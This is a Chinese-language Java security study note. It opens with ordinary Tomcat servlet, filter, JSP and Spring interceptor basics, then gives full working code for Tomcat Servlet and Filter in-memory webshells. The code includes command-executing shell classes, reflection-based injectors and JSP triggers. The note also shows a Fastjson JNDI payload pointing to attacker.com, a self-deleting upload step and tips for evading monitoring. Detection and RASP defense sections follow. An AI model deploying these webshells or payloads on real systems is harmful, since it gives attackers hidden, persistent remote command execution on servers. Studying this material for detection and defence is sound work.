Tomcat基础
Tomcat容器


第一个servlet
什么是servlet
Server applet即运行在服务器端的小程序
使用Servlet
package com.asset.sec88539;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
@WebServlet("/helloServlet")
public class ServletDemo1 implements Servlet {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
servletResponse.getWriter().println("ServletDemo1");
}
@Override
public String getServletInfo() {
return "";
}
@Override
public void destroy() {
}
}
使用HttpServlet
import java.io.*;
import javax.servlet.http.*;
public class HelloServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
// Hello
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>" + message + "</h1>");
out.println("</body></html>");
}
public void destroy() {
}
}
web.xml方式配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>hello</servlet-name>
<servlet-class>com.asset.sec88539.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>hello</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
</web-app>

- 注解配置
package com.asset.sec88539;
import java.io.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
@WebServlet(name = "HelloServlet", urlPatterns = "/hello")
public class HelloServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
// Hello
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>" + message + "</h1>");
out.println("</body></html>");
}
public void destroy() {
}
}

servlet之间的继承关系
public class HelloServlet extends HttpServlet
public abstract class HttpServlet extends GenericServlet
public abstract class GenericServlet implements Servlet, ServletConfig, Serializable



第一个filter
package com.asset.sec88539;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/*")
public class FilterDemo1 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("FilterDemo1");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
package com.asset.sec88539;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/hello")
public class FilterDemo2 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("FilterDemo2");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}


第一个Listener
package com.asset.sec88539;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.lang.reflect.Field;
@WebListener()
public class listenerMem implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
Class reqClass = req.getClass();
try {
Field field = reqClass.getDeclaredField("request");
field.setAccessible(true);
String cmd = req.getParameter("cmd");
if (cmd != null) {
System.out.println("cmd: " + cmd);
}
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}


JSP
什么是JSP
JSP即java sevlet page
三种jsp代码写法与不同
<%= %>
<% %>
<%! %>
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<%
System.out.println("index.jsp");//在service中
int i = 5;
%>
<%!
int i = 3; //定义成员变量,成员方法
%>
<%= i %>// 输出语句定义的内容
</body>
</html>


Spring MVC 拦截器
拦截器配置
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
package com.asset.sec88540;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
public class InterceptorDemo implements HandlerInterceptor{
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle");
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("postHandle");
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("afterCompletion");
}
}
package com.asset.sec88540.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/index")
public class Index {
@RequestMapping("/index")
private String pcPay(String name) {
String form = name + "欢迎来到PC端支付页面";
System.out.println(form);
return form;
}
@RequestMapping("/login")
private String login(String name) {
String form = name + "login";
System.out.println(form);
return form;
}
@RequestMapping("/info")
private String info(String name) {
String form = name + "info";
System.out.println(form);
return form;
}
}
package com.asset.sec88540.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/user")
public class user {
@RequestMapping("info")
public String info(String name) {
String form = name + " user info";
System.out.println(form);
return form;
}
}
package com.asset.sec88540;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class Sec88540Application {
public static void main(String[] args) {
SpringApplication.run(Sec88540Application.class, args);
}
}
xml配置
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/mvc
http://www.springframework.org/schema/mvc/spring-mvc.xsd">
<!-- 1. 配置自定义拦截器的Bean实例 -->
<bean id="interceptordemo" class="com.asset.sec88540.InterceptorDemo"/>
<!-- 2. 注册拦截器(核心配置:<mvc:interceptors>) -->
<mvc:interceptors>
<!-- 方式1:全局拦截器(拦截所有请求,无排除路径) -->
<!-- 直接嵌套拦截器Bean,对所有DispatcherServlet处理的请求生效 -->
<!-- <ref bean="customHandlerInterceptor"/> -->
<!-- 方式2:指定路径拦截器(推荐,精准控制拦截/排除路径) -->
<mvc:interceptor>
<!-- 配置需要拦截的路径(支持Ant风格通配符:*匹配单层路径,**匹配多层路径) -->
<mvc:mapping path="/**"/> <!-- 拦截所有请求 -->
<!-- 配置需要排除的路径(不拦截的请求,优先级高于mapping) -->
<mvc:exclude-mapping path="/static/**"/> <!-- 排除静态资源 -->
<mvc:exclude-mapping path="/login"/> <!-- 排除登录接口 -->
<!-- 引用自定义拦截器Bean -->
<ref bean="interceptordemo"/>
</mvc:interceptor>
</mvc:interceptors>
</beans>
package com.asset.sec88540;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.ImportResource;
@ImportResource(locations = "classpath:spring-mvc-interceptor.xml")
@SpringBootApplication
public class Sec88540Application {
public static void main(String[] args) {
SpringApplication.run(Sec88540Application.class, args);
}
}

注解配置
package com.asset.sec88540;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.*;
@Configuration
public class MyWebMvcConfigurerAdapter implements WebMvcConfigurer {
@Bean
public InterceptorDemo interceptorDemo() {
return new InterceptorDemo();
}
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(interceptorDemo()).addPathPatterns("/**");
}
}

拦截器拦截顺序
- 同时命中
addPathPatterns和excludePathPatterns,走excludePathPatterns
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(interceptorDemo())
.addPathPatterns("/index/**")
.excludePathPatterns("/index/login");
}
// /index/index → 在add中、不在exclude → 拦截
// /index/login → 在add中、但在exclude → 不拦截
// /user/info → 不在add、不在exclude → 不拦截

- 未指定
addPathPatterns(使用默认/**)
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(interceptorDemo())
.excludePathPatterns("/index/login");
}

Java基础
Java代码审计xxx系统
登录认证绕过
Tomcat Servlet 内存马
Servlet 内存马
Servlet 型内存马通过在 Tomcat 运行时动态注册恶意 Servlet,映射到指定 URL 路径,访问该路径即可触发命令执行。与 Filter 型内存马的区别在于:Servlet 作用于请求处理的末端(Filter 链之后),但同样不需要文件落地。
一、Tomcat Servlet 架构
1.1 Servlet 在 Tomcat 中的位置
HTTP 请求
↓
Connector (CoyoteAdapter)
↓
Engine → Host → Context
↓
Mapper.map() — URL 路由匹配 → Wrapper
↓
StandardWrapperValve.invoke()
↓
ApplicationFilterChain → Filter 链
↓
Wrapper.getServlet().service() ← 到这里
1.2 核心类关系
ContainerBase (抽象容器)
├── StandardEngine
├── StandardHost
├── StandardContext → 管理所有 Wrapper
│ └── children: HashMap<String, Container>
│ └── StandardWrapper@/servletA
│ └── StandardWrapper@/servletB
└── StandardWrapper → 封装单个 Servlet
├── servletClass: String
├── servletName: String
├── instance: Servlet (单例)
└── instanceSupport: InstanceSupport (生命周期)
关键数据结构:
| 组件 | 作用 | 位置 |
|---|---|---|
StandardWrapper |
封装一个 Servlet,管理其生命周期 | StandardContext.children |
ServletMapping |
URL 路径到 Wrapper 的映射 | Context.servletMappings |
Mapper |
负责请求 URL 的路由分发 | Tomcat 全局单例 |
1.3 Wrapper 的创建与加载
// Tomcat 启动时创建 Wrapper
// StandardContext.createWrapper()
public Wrapper createWrapper() {
Wrapper wrapper = new StandardWrapper();
wrapper.setParent(this);
return wrapper;
}
// 添加子容器(将 Wrapper 注册到 Context)
wrapper.setName("HelloServlet");
wrapper.setServletClass("com.example.HelloServlet");
context.addChild(wrapper);
// 配置 URL 映射
context.addServletMappingDecoded("/hello", "HelloServlet");
二、动态注册原理
核心思路:获取 StandardContext → 创建 StandardWrapper → 设置 Servlet → 添加为子容器 → 配置 URL 映射。
动态注册步骤:
1. 编写恶意 Servlet 类
2. 获取 StandardContext 对象
3. 检查是否已存在同名 Wrapper(防重复)
4. 创建 StandardWrapper 实例
5. 设置 servletName 和 servletClass
6. 调用 context.addChild(wrapper) 注册
7. 调用 context.addServletMappingDecoded() 配置 URL 映射
8. 调用 wrapper.load() 初始化 Servlet(执行 init())
2.1 URL 映射原理
Tomcat 使用 Mapper 组件做 URL → Wrapper 的路由匹配:
请求: /cmd/shell
↓
Mapper.map(MessageBytes, MappingData)
↓
遍历 Context 的 ServletMappings
↓
匹配成功 → MappingData.wrapper = matchedWrapper
↓
StandardContextValve → StandardWrapperValve → servlet.service()
Context.addServletMappingDecoded() 会将映射规则注册到内部 Mapper 中,新增的映射立即生效。
三、完整代码实现
3.1 恶意 Servlet 类
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
public class ServletMemShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws IOException {
handleRequest(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws IOException {
handleRequest(req, resp);
}
private void handleRequest(HttpServletRequest req, HttpServletResponse resp)
throws IOException {
String cmd = req.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
// 支持 Windows 和 Linux
boolean isWindows = System.getProperty("os.name")
.toLowerCase().contains("windows");
String[] fullCmd = isWindows
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
Process process = Runtime.getRuntime().exec(fullCmd);
InputStream inputStream = process.getInputStream();
// 读取命令输出并回显
Scanner scanner = new Scanner(
inputStream,
System.getProperty("sun.jnu.encoding")
).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
// 同时读取错误流
InputStream errorStream = process.getErrorStream();
Scanner errorScanner = new Scanner(
errorStream,
System.getProperty("sun.jnu.encoding")
).useDelimiter("\\A");
String errorResult = errorScanner.hasNext() ? errorScanner.next() : "";
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write("<pre>" + result + errorResult + "</pre>");
scanner.close();
errorScanner.close();
} catch (Exception e) {
resp.getWriter().write("Error: " + e.getMessage());
}
} else {
resp.getWriter().write("Servlet Memory Shell Active");
}
}
}
3.2 注入器代码
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;
import org.apache.catalina.startup.ContextConfig;
import javax.servlet.Servlet;
import java.lang.reflect.Field;
public class ServletMemShellInjector {
/**
* 注入 Servlet 内存马
* @param context StandardContext 对象
* @param servletName Servlet 名称
* @param urlPattern URL 映射路径
*/
public static void inject(StandardContext context,
String servletName,
String urlPattern) throws Exception {
// Step 1: 检查是否已注入
if (context.findChild(servletName) != null) {
System.out.println("[!] Servlet already exists: " + servletName);
return;
}
// Step 2: 创建 Wrapper
StandardWrapper wrapper = (StandardWrapper) context.createWrapper();
wrapper.setName(servletName);
wrapper.setServletClass(ServletMemShell.class.getName());
wrapper.setLoadOnStartup(1);
// Step 3: 注册为 Context 的子容器
context.addChild(wrapper);
// Step 4: 配置 URL 映射
context.addServletMappingDecoded(urlPattern, servletName);
// Step 5: 启动 Wrapper(初始化 Servlet 实例)
wrapper.load();
wrapper.start();
}
/**
* 从 JSP 或反序列化入口调用
*/
public static void injectFromRequest(javax.servlet.ServletRequest request)
throws Exception {
// 获取 StandardContext
StandardContext context = getStandardContext(request);
inject(context, "ServletMemShell", "/cmd/*");
}
private static StandardContext getStandardContext(
javax.servlet.ServletRequest servletRequest) throws Exception {
Field requestField = servletRequest.getClass().getDeclaredField("request");
requestField.setAccessible(true);
org.apache.catalina.connector.Request request =
(org.apache.catalina.connector.Request) requestField.get(servletRequest);
return (StandardContext) request.getContext();
}
}
3.3 触发注入的 JSP
<%@ page import="org.apache.catalina.core.*, org.apache.catalina.connector.Request,
java.lang.reflect.Field" %>
<%
try {
// 获取 StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
ServletMemShellInjector.inject(context, "ServletMemShell", "/cmd/*");
out.println("Servlet memory shell injected successfully!");
out.println("Access: /cmd?cmd=whoami");
} catch (Exception e) {
out.println("Injection failed: " + e.getMessage());
e.printStackTrace(new java.io.PrintWriter(out));
}
%>
四、代码详解
4.1 Wrapper 与 Filter 的核心差异
| 对比维度 | Filter 内存马 | Servlet 内存马 |
|---|---|---|
| 执行位置 | Servlet 之前(Filter 链中) | Filter 链之后(最终处理) |
| 目标对象 | StandardContext.filterDefs |
StandardContext.children |
| 映射方式 | FilterMap 数组 |
servletMappings + Mapper |
| 覆盖范围 | /* 匹配所有请求 |
精确路径匹配 |
| 优先级 | 靠前插入即优先执行 | 同等优先级(路径匹配) |
| 生命周期 | init() → doFilter() → destroy() |
init() → service() → destroy() |
4.2 context.addChild() 做了什么
// ContainerBase.addChildInternal()
private void addChildInternal(Container child) {
// 1. 添加到 children 集合
children.put(child.getName(), child);
// 2. 设置父容器
child.setParent(this);
// 3. 触发 START 事件
child.start();
// 4. 通知所有监听器
fireContainerEvent(ADD_CHILD_EVENT, child);
}
当 Wrapper 被添加为 Context 的子容器后,Tomcat 会自动将其纳入生命周期管理。
4.3 URL 路径匹配规则
Tomcat 支持四种 Servlet 映射规则:
| 映射模式 | 示例 | 优先级 |
|---|---|---|
| 精确匹配 | /exact/path |
最高 |
| 路径匹配 | /admin/* |
次高 |
| 扩展名匹配 | *.do |
第三 |
| 默认匹配 | / |
最低 |
/cmd/* 属于路径匹配,命中率仅次于精确匹配。
4.4 防重复注入
if (context.findChild(servletName) != null) {
return; // 同名 Wrapper 已存在
}
通过 context.findChild(name) 检查是否已存在同名子容器,避免重复注册。
五、利用场景
5.1 作为 Filter 的备用通道
// 场景:目标只允许特定路径通过,Filter 被拦截
// 解法:注入 Servlet 到白名单路径
context.addServletMappingDecoded("/public/health", "ServletMemShell");
// 访问:/public/health?cmd=id
5.2 绕过只检查 Filter 的防御
某些安全产品只监控 FilterDef 和 FilterMap 的变化,不检查 Wrapper 容器:
防御产品监控:
✅ FilterDef 注册
✅ FilterMap 注册
❌ Wrapper 注册(盲区)
❌ servletMapping 变更(盲区)
5.3 与 Filter 组合使用
请求 → FilterMemShell (记录日志, 放行)
→ ServletMemShell (执行命令, 回显)
Filter 负责隐蔽性(不干扰正常请求),Servlet 负责功能性(命令执行回显)。
六、检测方式
6.1 通过 JMX 检查 Servlet 列表
# 使用 JMX 查看所有已注册的 Servlet
jconsole → MBeans → Catalina → Context → /your-app → children
6.2 Arthas 在线排查
# 查看 StandardContext 的 children
vmtool --action getInstances \
--className org.apache.catalina.core.StandardContext \
--express 'instances[0].children' \
--limit 10
# 搜索可疑 Wrapper
vmtool --action getInstances \
--className org.apache.catalina.core.StandardWrapper \
--express 'instances[0].servletClass' \
--limit 20
# 查看 Servlet 映射
ognl '@org.apache.catalina.core.StandardContext@servletMappings'
6.3 内存 Dump 分析
# dump 堆内存
jmap -dump:live,format=b,file=servlet.hprof <pid>
# MAT / VisualVM 中搜索
# 1. 列出所有 StandardWrapper 实例
# 2. 检查 servletClass 字段是否为标准类
# 3. 对比基线数据
6.4 基线对比脚本
// 获取当前所有 Servlet 映射
public static Map<String, String> getServletMappings(StandardContext ctx) {
Map<String, String> mappings = new HashMap<>();
for (Container child : ctx.findChildren()) {
if (child instanceof Wrapper) {
Wrapper w = (Wrapper) child;
mappings.put(w.getName(), w.getServletClass());
}
}
return mappings;
}
// 与部署时的预期列表对比,找出异常项
七、防御建议
| 层面 | 措施 | 实现方式 |
|---|---|---|
| 运行时 | RASP Hook | 拦截 ContainerBase.addChild() 调用 |
| 运行时 | Security Manager | 禁止反射访问 StandardContext |
| 监控 | JVM Agent | 监控 children map 的变更 |
| 运维 | 定期巡检 | 对比 Servlet 基线 |
// RASP Hook 示例
@RuntimeType
public static void onAddChild(@This ContainerBase container,
@Argument(0) Container child) {
if (!isStartupPhase() && container instanceof StandardContext) {
// 非启动阶段添加子容器 → 可疑行为
alert("Detected runtime Servlet injection: " + child.getName());
throw new SecurityException("Suspicious container modification blocked");
}
}
八、总结
Servlet 内存马与 Filter 内存马的对比:
| 特性 | Servlet 内存马 | Filter 内存马 |
|---|---|---|
| 难度 | ⭐⭐ | ⭐⭐⭐ |
| 隐蔽性 | ⭐⭐⭐⭐ | ⭐⭐⭐ |
| 灵活性 | ⭐⭐⭐ | ⭐⭐⭐⭐⭐ |
| 检测难度 | 较高 | 中等 |
选择建议:
- 优先 Filter:覆盖范围广,能拦截所有请求,适合需要持续监控的场景
- 备选 Servlet:更隐蔽(部分监控产品不检查 Wrapper),适合作为备用通道
- 组合使用:Filter + Servlet 双保险,互为备份
延伸阅读:Tomcat Filter 内存马 Tomcat Listener 内存马 Tomcat基础
Tomcat Filter 内存马
Filter 内存马
内存马是指无文件落地、仅在内存中运行的 Webshell。与传统 JSP Webshell 不同,内存马不依赖磁盘文件,难以被常规文件扫描工具发现。Filter 型内存马利用 Tomcat 的 Filter 机制,在运行时动态注册恶意 Filter,拦截所有 HTTP 请求,是最常见的内存马类型。
一、Tomcat Filter 机制
1.1 Filter 执行流程
HTTP 请求
↓
StandardEngine → StandardHost → StandardContext
↓
StandardWrapperValve.invoke()
↓
ApplicationFilterChain.doFilter()
↓
Filter1 → Filter2 → ... → Servlet.service()
当一个 HTTP 请求到达 Tomcat 时,ApplicationFilterChain 负责按照 FilterMap 的顺序依次调用匹配的 Filter,最后到达 Servlet。
1.2 核心类关系
StandardContext
├── filterDefs: HashMap<String, FilterDef> // Filter 定义
├── filterMaps: FilterMap[] // Filter-URL 映射(有序)
├── filterConfigs: HashMap<String, ApplicationFilterConfig> // Filter 实例配置
└── pipeline (StandardPipeline)
└── StandardContextValve → StandardWrapperValve
三个关键数据结构:
| 组件 | 作用 | 关键字段 |
|---|---|---|
FilterDef |
存储 Filter 的元信息 | filterName, filterClass, filter, initParameters |
FilterMap |
定义 Filter 与 URL 的映射关系 | filterName, urlPatterns, dispatcherTypes |
ApplicationFilterConfig |
持有 Filter 实例,管理生命周期 | filterDef, filter 实例 |
1.3 Filter 加载的源码分析
Tomcat 启动时通过 ContextConfig.configureStart() 解析 web.xml 和注解,调用的核心逻辑在 StandardContext 中:
// StandardContext.filterStart() —— 初始化所有 Filter
public boolean filterStart() {
for (FilterDef filterDef : filterDefs.values()) {
ApplicationFilterConfig filterConfig =
new ApplicationFilterConfig(this, filterDef);
filterConfigs.put(filterDef.getFilterName(), filterConfig);
}
return true;
}
// ApplicationFilterChain.internalDoFilter() —— 请求过滤链
private void internalDoFilter(ServletRequest request, ServletResponse response) {
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
Filter filter = filterConfig.getFilter();
filter.doFilter(request, response, this);
return;
}
// 全部 Filter 执行完毕,进入 Servlet
servlet.service(request, response);
}
二、动态注册原理
核心思路:利用反射获取 StandardContext 对象,动态向其中添加 FilterDef 和 FilterMap。
2.1 获取 StandardContext
在 Tomcat 中,可以通过多种方式获取当前 StandardContext 对象:
// 方式一:通过 request 获取(需要反射突破访问限制)
ServletRequest request = ...;
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(request);
StandardContext context = (StandardContext) req.getContext();
// 方式二:通过 Thread 获取(JSP 场景)
Field contextField = Thread.currentThread().getContextClassLoader()
.getClass().getSuperclass().getDeclaredField("resources");
// ... 逐步反射获取 StandardContext
// 方式三:通过 MBean(JMX)
MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
ObjectName name = new ObjectName("Catalina:type=Server");
// 遍历获取 StandardContext
2.2 动态注册步骤
1. 编写恶意 Filter 类(实现 Filter 接口)
2. 获取 StandardContext 对象
3. 创建 FilterDef 并设置 filterName / filterClass / filter
4. 将 FilterDef 添加到 context.filterDefs
5. 创建 FilterMap 并设置 URL 映射
6. 将 FilterMap 插入到 context.filterMaps 数组首位
7. 创建 ApplicationFilterConfig 并添加到 context.filterConfigs
三、完整代码实现
3.1 恶意 Filter 类
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
public class FilterMemShell implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
// 从请求中获取命令参数
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
// 执行系统命令(兼容 Windows / Linux)
boolean isWindows = System.getProperty("os.name")
.toLowerCase().contains("windows");
String[] fullCmd = isWindows
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
Process process = Runtime.getRuntime().exec(fullCmd);
InputStream inputStream = process.getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
// 回显命令执行结果
response.getWriter().write("<pre>" + result + "</pre>");
scanner.close();
return; // 不继续调用 chain,直接返回
} catch (Exception e) {
response.getWriter().write("Error: " + e.getMessage());
}
}
// 正常请求放行
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
3.2 注入器代码
import org.apache.catalina.Context;
import org.apache.catalina.core.*;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
public class FilterMemShellInjector {
/**
* 注入 Filter 内存马
* @param request HttpServletRequest 对象
*/
public static void inject(ServletRequest request) throws Exception {
// Step 1: 获取 StandardContext
StandardContext context = getStandardContext(request);
// Step 2: 检查是否已注入(避免重复)
String filterName = "FilterMemShell";
if (context.findFilterDef(filterName) != null) {
System.out.println("[!] Filter already injected: " + filterName);
return;
}
// Step 3: 创建 FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(FilterMemShell.class.getName());
filterDef.setFilter(new FilterMemShell());
// Step 4: 添加 FilterDef 到 context
context.addFilterDef(filterDef);
// Step 5: 创建 FilterMap(映射到所有 URL)
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher("REQUEST");
// Step 6: 将 FilterMap 插入到首位(确保优先执行)
context.addFilterMap(filterMap);
// Step 7: 反射获取并操作 filterConfigs
Field configsField = StandardContext.class.getDeclaredField("filterConfigs");
configsField.setAccessible(true);
Map<String, ApplicationFilterConfig> filterConfigs =
(Map<String, ApplicationFilterConfig>) configsField.get(context);
// 手动创建 ApplicationFilterConfig(绕过生命周期检查)
Constructor<ApplicationFilterConfig> constructor =
ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig =
constructor.newInstance(context, filterDef);
filterConfigs.put(filterName, filterConfig);
}
/**
* 从 request 中获取 StandardContext
*/
private static StandardContext getStandardContext(ServletRequest servletRequest)
throws Exception {
// 反射获取内部的 Request 对象
Field requestField = servletRequest.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(servletRequest);
return (StandardContext) request.getContext();
}
}
3.3 触发注入的 JSP
<%@ page import="java.lang.reflect.*, org.apache.catalina.core.*,
org.apache.tomcat.util.descriptor.web.*, javax.servlet.*" %>
<%
try {
FilterMemShellInjector.inject(request);
out.println("Filter memory shell injected successfully!");
out.println("Access: ?cmd=whoami");
} catch (Exception e) {
out.println("Injection failed: " + e.getMessage());
e.printStackTrace();
}
%>
四、代码详解
4.1 为什么要插入 FilterMap 首位?
ApplicationFilterChain 是按照 filterMaps 数组的顺序依次调用 Filter 的。将恶意 Filter 插入到首位可以保证它在其他 Filter(如鉴权 Filter)之前执行,从而:
- 绕过认证拦截,直接执行命令
- 即使后续 Filter 抛出异常,恶意逻辑已经执行完毕
// ApplicationFilterChain 中的匹配逻辑
for (FilterMap filterMap : filterMaps) {
if (matchFiltersURL(filterMap, requestPath)) {
ApplicationFilterConfig filterConfig = filterConfigs.get(filterMap.getFilterName());
if (filterConfig != null) {
filters.add(filterConfig);
}
}
}
4.2 反射创建 ApplicationFilterConfig 的必要性
正常情况下,ApplicationFilterConfig 是由 Tomcat 在启动阶段通过 StandardContext.filterStart() 方法统一创建的。运行时直接向 filterDefs 添加 FilterDef 并不会自动创建 ApplicationFilterConfig,因此需要手动通过反射调用构造函数来完成实例化。
4.3 防止重复注入
if (context.findFilterDef(filterName) != null) {
return; // 已存在,跳过
}
每次请求都注入会导致内存中产生多个同名 Filter,既不规范也容易被发现。
五、利用场景
5.1 Shiro 反序列化 → 注入内存马
Shiro rememberMe 反序列化获取代码执行能力后,注入 Filter 内存马实现持久化:
// 反序列化 payload 中的代码片段
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
// ... 注册 Filter
利用流程:
Shiro rememberMe Cookie → AES 解密 → 反序列化 → 代码执行
→ 反射获取 StandardContext → 注入 Filter 内存马
→ 访问 /?cmd=whoami → 命令回显
5.2 Fastjson 反序列化 → JNDI 注入
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/EvilClass",
"autoCommit": true
}
EvilClass 的静态代码块中执行 Filter 注入逻辑。
5.3 文件上传 → 注入后删除
1. 上传 JSP 注入脚本到 web 目录
2. 访问 JSP 触发注入
3. JSP 执行完毕后自我删除(new File(application.getRealPath("/shell.jsp")).delete())
4. 内存马持久化运行,磁盘无残留
5.4 Spring Boot Actuator 环境修改
通过 /actuator/env 端点修改 logging 配置,注入恶意 XML 触发代码执行后注册内存马。
六、检测方式
6.1 JMX 检查
# 连接本地 JMX
jconsole
# 或使用 jcmd 列出 MBean
jcmd <pid> ManagementAgent.start_local
通过 JMX 查看 Catalina:type=Context 下的 filterDefs 和 filterMaps 属性。
6.2 Arthas 在线查杀
# 启动 Arthas
java -jar arthas-boot.jar
# 查看所有的 Filter
vmtool --action getInstances --className org.apache.tomcat.util.descriptor.web.FilterDef --limit 50
# 查看 StandardContext 中的 filterDefs
ognl '@org.apache.catalina.core.StandardContext@filterDefs'
# 使用 sc 搜索可疑 Filter
sc *.Filter*
6.3 JVM 内存分析
# dump 内存
jmap -dump:format=b,file=heapdump.hprof <pid>
# 使用 MAT / VisualVM 分析
# 搜索 FilterDef / ApplicationFilterConfig 对象
6.4 Java Agent 检测脚本
// 通过 agent 监控 Context 的 filterDefs 变化
public class FilterMonitor implements ClassFileTransformer {
@Override
public byte[] transform(...) {
// 监控 Context.addFilterDef() 和 Context.addFilterMap() 方法
// 记录非启动阶段的调用
}
}
七、防御建议
7.1 运行时防御
| 层面 | 措施 | 说明 |
|---|---|---|
| JVM 层 | 部署 RASP | 监控反射调用 addFilterDef / addFilterMap |
| 容器层 | Security Manager | 限制反射访问 StandardContext 内部字段 |
| 系统层 | WAF | 检测请求参数中的命令注入特征 |
7.2 周期性巡检
